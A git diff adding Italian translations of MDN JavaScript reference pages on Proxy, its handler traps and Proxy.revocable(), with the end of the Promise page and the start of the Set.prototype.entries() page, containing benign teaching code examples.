+<p>Un'altro semplice esempio che utilizza le Promise e <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> mostra come caricare un'immagine è disponibile sul <a href="https://github.com/mdn/js-examples/tree/master/promises-test">repository</a> di MDN su Github. Puoi inoltre vederla in azione. Ogni azione è commentata e puoi seguire passo-passo come viene creata la Promise e gestita tramite XHR.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>
+    <p>Prima definizione in uno standard ECMA.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise-objects', 'Promise')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>
+    <p> </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Supporto_dei_browser">Supporto dei browser</h2>
+
+<p>{{Compat("javascript.builtins.Promise")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+ <li><a href="http://promisesaplus.com/">Promises/A+ specification</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/promises-of-promise-part-1-53f769245a53">Venkatraman.R - JS Promise (Part 1, Basics)</a></li>
+ <li><a href="https://medium.com/@ramsunvtech/js-promise-part-2-q-js-when-js-and-rsvp-js-af596232525c#.dzlqh6ski">Venkatraman.R - JS Promise (Part 2 - Using Q.js, When.js and RSVP.js)</a></li>
+ <li><a href="https://tech.io/playgrounds/11107/tools-for-promises-unittesting/introduction">Venkatraman.R - Tools for Promises Unit Testing</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/es6/promises/">Jake Archibald: JavaScript Promises: There and Back Again</a></li>
+ <li><a href="http://de.slideshare.net/domenicdenicola/callbacks-promises-and-coroutines-oh-my-the-evolution-of-asynchronicity-in-javascript">Domenic Denicola: Callbacks, Promises, and Coroutines – Asynchronous Programming Patterns in JavaScript</a></li>
+ <li><a href="http://www.mattgreer.org/articles/promises-in-wicked-detail/">Matt Greer: JavaScript Promises ... In Wicked Detail</a></li>
+ <li><a href="https://www.promisejs.org/">Forbes Lindesay: promisejs.org</a></li>
+ <li><a href="https://github.com/jakearchibald/es6-promise/">Promise polyfill</a></li>
+ <li><a href="https://www.udacity.com/course/javascript-promises--ud898">Udacity: JavaScript Promises</a></li>
+ <li> </li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/proxy/handler/apply/index.html b/files/it/web/javascript/reference/global_objects/proxy/handler/apply/index.html
new file mode 100644
index 0000000000..f803b41255
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/proxy/handler/apply/index.html
@@ -0,0 +1,119 @@
+---
+title: handler.apply()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong><code>handler.apply()</code></strong> costituisce una trap per una chiamata a funzione.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}</div>
+
+<p class="hidden">Il sorgente di questo esempio interattivo è memorizzato in una repository GitHub. Qualora volessi contribuire al progetto degli esempi interattivi, puoi farlo clonando <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviandoci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="brush: js">var p = new Proxy(target, {
+  apply: function(target, thisArg, argumentsList) {
+  }
+});
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<p>I seguenti parametri vengono passati al metodo <code>apply</code>. <code>this</code> è legato all'handler.</p>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>L'oggetto target.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd>Il valore di <code>this</code> relativo alla chiamata.</dd>
+ <dt><code>argumentsList</code></dt>
+ <dd>La lista degli argomenti della chiamata.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il metodo <code>apply</code> può restituire qualsiasi valore.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Il metodo <code><strong>handler.apply</strong></code> è una trap per le chiamate a funzione.</p>
+
+<h3 id="Operazioni_intercettate">Operazioni intercettate</h3>
+
+<p>Questa trap può intercettare le seguenti operazioni:</p>
+
+<ul>
+ <li><code>proxy(...args)</code></li>
+ <li>{{jsxref("Function.prototype.apply()")}} e {{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
+
+<h3 id="Invarianti">Invarianti</h3>
+
+<p>Se le seguenti invarianti non sono rispettate il proxy emetterà un TypeError:</p>
+
+<ul>
+ <li>Lo stesso <code>target</code> deve essere un oggetto richiamabile, cioè deve essere un oggetto funzione.</li>
+</ul>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Il codice seguente intercetta una chiamata a funzione.</p>
+
+<pre class="brush: js">var p = new Proxy(function() {}, {
+  apply: function(target, thisArg, argumentsList) {
+    console.log('chiamato con: ' + argumentsList.join(', '));
+    return argumentsList[0] + argumentsList[1] + argumentsList[2];
+  }
+});
+
+console.log(p(1, 2, 3)); // "chiamato con: 1, 2, 3"
+                         // 6
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità su questa pagina è generata a partire da dati strutturati. Se vuoi contribuire ai dati, fai un check out da <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e mandaci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.apply")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Function.prototype.apply")}}</li>
+ <li>{{jsxref("Function.prototype.call")}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/proxy/handler/index.html b/files/it/web/javascript/reference/global_objects/proxy/handler/index.html
new file mode 100644
index 0000000000..042e9b50b1
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/proxy/handler/index.html
@@ -0,0 +1,83 @@
+---
+title: Proxy handler
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - NeedsTranslation
+  - Proxy
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>The proxy's handler object is a placeholder object which contains traps for {{jsxref("Proxy", "proxies", "", 1)}}.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<p>All traps are optional. If a trap has not been defined, the default behavior is to forward the operation to the target.</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getPrototypeOf", "handler.getPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/setPrototypeOf", "handler.setPrototypeOf()")}}</dt>
+ <dd>A trap for {{jsxref("Object.setPrototypeOf")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/isExtensible", "handler.isExtensible()")}}</dt>
+ <dd>A trap for {{jsxref("Object.isExtensible")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/preventExtensions", "handler.preventExtensions()")}}</dt>
+ <dd>A trap for {{jsxref("Object.preventExtensions")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/getOwnPropertyDescriptor", "handler.getOwnPropertyDescriptor()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyDescriptor")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/defineProperty", "handler.defineProperty()")}}</dt>
+ <dd>A trap for {{jsxref("Object.defineProperty")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/has", "handler.has()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/in", "in")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/get", "handler.get()")}}</dt>
+ <dd>A trap for getting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/set", "handler.set()")}}</dt>
+ <dd>A trap for setting property values.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/deleteProperty", "handler.deleteProperty()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/delete", "delete")}} operator.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}}</dt>
+ <dd>A trap for {{jsxref("Object.getOwnPropertyNames")}} and {{jsxref("Object.getOwnPropertySymbols")}}.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/apply", "handler.apply()")}}</dt>
+ <dd>A trap for a function call.</dd>
+ <dt>{{jsxref("Global_Objects/Proxy/handler/construct", "handler.construct()")}}</dt>
+ <dd>A trap for the {{jsxref("Operators/new", "new")}} operator.</dd>
+</dl>
+
+<p>Some non-standard traps are <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#Proxy">obsolete and have been removed</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots', 'Proxy Object Internal Methods and Internal Slots')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>The <code>enumerate</code> handler has been removed.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.handler")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/proxy/index.html b/files/it/web/javascript/reference/global_objects/proxy/index.html
new file mode 100644
index 0000000000..fa35ff1d43
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/proxy/index.html
@@ -0,0 +1,396 @@
+---
+title: Proxy
+slug: Web/JavaScript/Reference/Global_Objects/Proxy
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>
+<div>{{JSRef}}</div>
+
+<div>L'oggetto <strong>Proxy</strong> è utilizzato per definire comportamenti personalizzati per operazioni fondamentali (per esempio: ricerca delle proprietà, assegnazione, enumerazione, invocazione delle funzioni, ecc.).</div>
+</div>
+
+<h2 id="Terminologia">Terminologia</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">handler</a></dt>
+ <dd>Oggetto placeholder, il quale contiene le trappole.</dd>
+ <dt>traps</dt>
+ <dd>I metodi che forniscono l'accesso alle proprietà. Questo è analogo al concetto di trappola nei sistemi operativi.</dd>
+ <dt>target</dt>
+ <dd>Oggetti, che i proxy virtualizzano (sostituiscono). <span class="short_text" id="result_box" lang="it"><span>Viene spesso utilizzato come back-end di archiviazione per il proxy</span></span>. Le invarianti, riguardanti oggetti non estensibili o proprietà non configurabili, sono verificate prima di interagire con l'obiettivo.</dd>
+</dl>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var p = new Proxy(target, handler);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Un oggetto target che il Proxy ingloberà. Può essere un qualsiasi tipo di oggetto, array nativi inclusi, funzioni o anche altri Proxy.</dd>
+ <dt><code>handler</code></dt>
+ <dd>Un oggetto le cui proprietà sono funzioni che definiscono i comportamenti del proxy quando un'operazione viene effettuata su di esso.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>Crea un oggetto Proxy revocabile.</dd>
+</dl>
+
+<h2 id="Metodi_dell'handler_object">Metodi dell'handler object</h2>
+
+<p>L'oggetto handler è un oggetto placeholder, il quale contiene le trappole per il Proxy.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Esempio_base">Esempio base</h3>
+
+<p>In questo esempio base il numero <code>37</code> viene restituito come valore di default quando l'oggetto non contiene la proprietà richiesta. Viene utilizzato il <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get">get</a></code> handler.</p>
+
+<pre class="brush: js">var handler = {
+    get: function(target, name) {
+        return name in target ?
+            target[name] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="No-op_forwarding_proxy">No-op forwarding proxy</h3>
+
+<p>In questo esempio viene utilizzato un semplice oggetto Javascript come target, al quale il proxy inoltrerà tutte le operazioni che sono state applicate su di esso. </p>
+
+<pre class="brush: js">var target = {};
+var p = new Proxy(target, {});
+
+p.a = 37; // operazione inoltrata al target
+
+console.log(target.a); // 37. Operazione inoltrata con successo
+</pre>
+
+<h3 id="Validation">Validation</h3>
+
+<p>Con un proxy, puoi facilmente validare il valore passato per un oggetto. In questo esempio viene utilizzato il  <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/get">set </a></code>handler.</p>
+
+<pre class="brush: js">let validator = {
+  set: function(obj, prop, value) {
+    if (prop === 'age') {
+      if (!Number.isInteger(value)) {
+        throw new TypeError('L\'età non è un numero intero');
+      }
+      if (value &gt; 200) {
+        throw new RangeError('L\'età sembra non essere valida');
+      }
+    }
+
+    // Il comportamento di default da adoperare per memorizzare il valore
+    obj[prop] = value;
+
+    return true;
+  }
+};
+
+let person = new Proxy({}, validator);
+
+person.age = 100;
+console.log(person.age); // 100
+person.age = 'young'; // Lancia una eccezione
+person.age = 300; // Lancia una eccezione</pre>
+
+<h3 id="Extending_constructor">Extending constructor</h3>
+
+<p>Una funzione proxy può facilmente estendere un costruttore con un nuovo costruttore. Questo esempio usa gli handler: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct"><code>construct</code></a> e <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply"><code>apply</code></a> .</p>
+
+<pre class="brush: js">function extend(sup, base) {
+  var descriptor = Object.getOwnPropertyDescriptor(
+    base.prototype, 'constructor'
+  );
+  base.prototype = Object.create(sup.prototype);
+  var handler = {
+    construct: function(target, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(target, obj, args);
+      return obj;
+    },
+    apply: function(target, that, args) {
+      sup.apply(that, args);
+      base.apply(that, args);
+    }
+  };
+  var proxy = new Proxy(base, handler);
+  descriptor.value = proxy;
+  Object.defineProperty(base.prototype, 'constructor', descriptor);
+  return proxy;
+}
+
+var Person = function(name) {
+  this.name = name;
+};
+
+var Boy = extend(Person, function(name, age) {
+  this.age = age;
+});
+
+Boy.prototype.sex = 'M';
+
+var Peter = new Boy('Peter', 13);
+console.log(Peter.sex);  // "M"
+console.log(Peter.name); // "Peter"
+console.log(Peter.age);  // 13</pre>
+
+<h3 id="Manipulating_DOM_nodes">Manipulating DOM nodes</h3>
+
+<p>Alcune volte vorresti attivare o disattivare un attributo o una classe di due elementi differenti. Qui è mostrato come è possibile farlo utilizzando il <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/set"><code>set</code></a> handler.</p>
+
+<pre class="brush: js">let view = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, newval) {
+    let oldval = obj[prop];
+
+    if (prop === 'selected') {
+      if (oldval) {
+        oldval.setAttribute('aria-selected', 'false');
+      }
+      if (newval) {
+        newval.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // Il comportamento di default da adoperare per memorizzare il valore
+    obj[prop] = newval;
+
+    // Indicate success
+    return true;
+  }
+});
+
+let i1 = view.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = view.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'</pre>
+
+<h3 id="Value_correction_and_an_extra_property">Value correction and an extra property</h3>
+
+<p>L'oggetto <code>products</code>  del proxy valuta il valore passato e lo converte in un array se è necessario. L'oggetto supporta anche una proprietà extra chiamata <code>latestBrowser</code>, uttilizzabile sia come getter che come setter.</p>
+
+<pre class="brush: js">let products = new Proxy({
+  browsers: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      return obj.browsers[obj.browsers.length - 1];
+    }
+
+    // Il comportamento di default per restituire il valore
+    return obj[prop];
+  },
+  set: function(obj, prop, value) {
+    // An extra property
+    if (prop === 'latestBrowser') {
+      obj.browsers.push(value);
+      return true;
+    }
+
+    // Converte il valore se non è un array
+    if (typeof value === 'string') {
+      value = [value];
+    }
+
+    // Il comportamento di default per memorizzare il valore
+    obj[prop] = value;
+
+    // Indicate success
+    return true;
+  }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // passa una stringa (per sbaglio)
+console.log(products.browsers); // ['Firefox'] &lt;- nessun problema, il valore passato è un array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'</pre>
+
+<h3 id="Trovare_un_oggetto_in_un_array_dalla_sua_proprietà">Trovare un oggetto in un array dalla sua proprietà</h3>
+
+<p>Questo proxy estende un array con alcune caratteristiche utiliti. Come puoi notare, puoi facilmente definire nuove proprietà senza utilizzare <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. Questo esempio può essere adattato per trovare una riga di una tabella partendo dalla sua cella. In questo caso il target sarà <a href="https://developer.mozilla.org/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p>
+
+<pre class="brush: js">let products = new Proxy([
+  { name: 'Firefox', type: 'browser' },
+  { name: 'SeaMonkey', type: 'browser' },
+  { name: 'Thunderbird', type: 'mailer' }
+],
+{
+  get: function(obj, prop) {
+    // Il comportamento di default per ritornare un valore; prop è di solito un numero intero
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // Ottieni il numero di prodotti; un alias di products.length
+    if (prop === 'number') {
+      return obj.length;
+    }
+
+    let result, types = {};
+
+    for (let product of obj) {
+      if (product.name === prop) {
+        result = product;
+      }
+      if (types[product.type]) {
+        types[product.type].push(product);
+      } else {
+        types[product.type] = [product];
+      }
+    }
+
+    // Ottieni un prodotto dal campo name
+    if (result) {
+      return result;
+    }
+
+    // Ottieni un prodotto dal campo type
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Ottieni i tipi di prodotto
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
+<h3 id="Una_lista_completa_di_traps">Una lista completa di traps</h3>
+
+<p>Adesso, per creare una lista di trappole, per scopi didattici, proveremo a proxare un oggetto non nativo che è particolarmente adatto a questo tipo di operazioni: l' oggetto globale <code>docCookies</code> creato da <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">the "little framework" published on the <code>document.cookie</code> page</a>.</p>
+
+<pre class="brush: js">/*
+  var docCookies = ... get the "docCookies" object here:
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  get: function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  set: function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  deleteProperty: function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  enumerate: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  ownKeys: function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  has: function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  defineProperty: function (oTarget, sKey, oDesc) {
+    if (oDesc &amp;&amp; 'value' in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  getOwnPropertyDescriptor: function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      value: vValue,
+      writable: true,
+      enumerable: true,
+      configurable: false
+    } : undefined;
+  },
+});
+
+/* Test dei cookie */
+
+console.log(docCookies.my_cookie1 = 'First value');
+console.log(docCookies.getItem('my_cookie1'));
+
+docCookies.setItem('my_cookie1', 'Changed value');
+console.log(docCookies.my_cookie1);</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_tra_Browser">Compatibilità tra Browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy", 2)}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li>
+ <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li>
+</ul>
+
+<h2 id="Nota_di_licenza"><span class="short_text" id="result_box" lang="it"><span>Nota di licenza</span></span></h2>
+
+<p>Alcuni contentui (test, esempi) in questa pagina sono stati copiati o adattatu dall' <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> i quali contenuti sono sotto licenza <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/it/web/javascript/reference/global_objects/proxy/revocabile/index.html b/files/it/web/javascript/reference/global_objects/proxy/revocabile/index.html
new file mode 100644
index 0000000000..bf87d7e3e7
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/proxy/revocabile/index.html
@@ -0,0 +1,86 @@
+---
+title: Proxy.revocable()
+slug: Web/JavaScript/Reference/Global_Objects/Proxy/revocabile
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/revocable
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Proxy.revocable()</strong></code> è usato per creare un oggetto {{jsxref("Proxy")}} revocabile.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Proxy.revocable(target, handler);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<div>{{ Page("it/docs/Web/JavaScript/Reference/Global_Objects/Proxy", "Parametri") }}</div>
+
+<h3 id="Valore_restituito">Valore restituito</h3>
+
+<p>Un nuovo oggetto <code>Proxy</code> revocabile.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Un <code>Proxy</code> revocabile è un oggetto con le seguenti due proprietà <code>{proxy: proxy, revoke: revoke}</code>.</p>
+
+<dl>
+ <dt><code>proxy</code></dt>
+ <dd>L'oggetto Proxy creato con <code>new Proxy(target, handler)</code>.</dd>
+ <dt><code>revoke</code></dt>
+ <dd>Una funzione che non richiede argomenti per disattivare il <code>proxy</code>.</dd>
+</dl>
+
+<p>Se la funzione <code>revoke()</code> viene invocata, il proxy diventa inutilizzabile: se si tenta di farne uso si otterrà un {{jsxref("TypeError")}}. Una volta che il proxy è revocato rimarrà in questo stato e potrà essere eliminato dal garbage collector. Successive invocazioni di <code>revoke()</code> non avranno effetto.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">var revocable = Proxy.revocable({}, {
+  get: function(target, name) {
+    return "[[" + name + "]]";
+  }
+});
+var proxy = revocable.proxy;
+console.log(proxy.foo); // "[[foo]]"
+
+revocable.revoke();
+
+console.log(proxy.foo); // viene sollevato un TypeError
+proxy.foo = 1           // viene sollevato un TypeError
+delete proxy.foo;       // viene sollevato un TypeError
+typeof proxy            // "object", typeof non innesca nessuna trappola
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_tra_Browser">Compatibilità tra Browser</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy.revocable")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/set/entries/index.html b/files/it/web/javascript/reference/global_objects/set/entries/index.html
new file mode 100644
index 0000000000..367507d3d5
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/set/entries/index.html
@@ -0,0 +1,113 @@
+---
+title: Set.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Set/entries
+translation_of: Web/JavaScript/Reference/Global_Objects/Set/entries
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>entries()</strong></code> restituisce un novo oggetto <code>Iterator</code> che contiene<strong> un array di <code>[valore, valore]</code></strong> per ciascun elemento nell'oggetto <code>Set</code>, nell'ordine con cui sono stati inseriti. Per gli oggetti di tipo <code>Set</code> non esiste alcuna <code>chiave</code> come per gli oggetti di tipo <code>Map</code>. Comunque, per mantenere le API simili a quelle dell'oggetto <code>Map</code>, per ciascun <em>elemento</em> dell'array viene utilizzato <em>value</em> anche per la <em>chiave</em>, perciò viene restituito un array <code>[valore, valore]</code>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
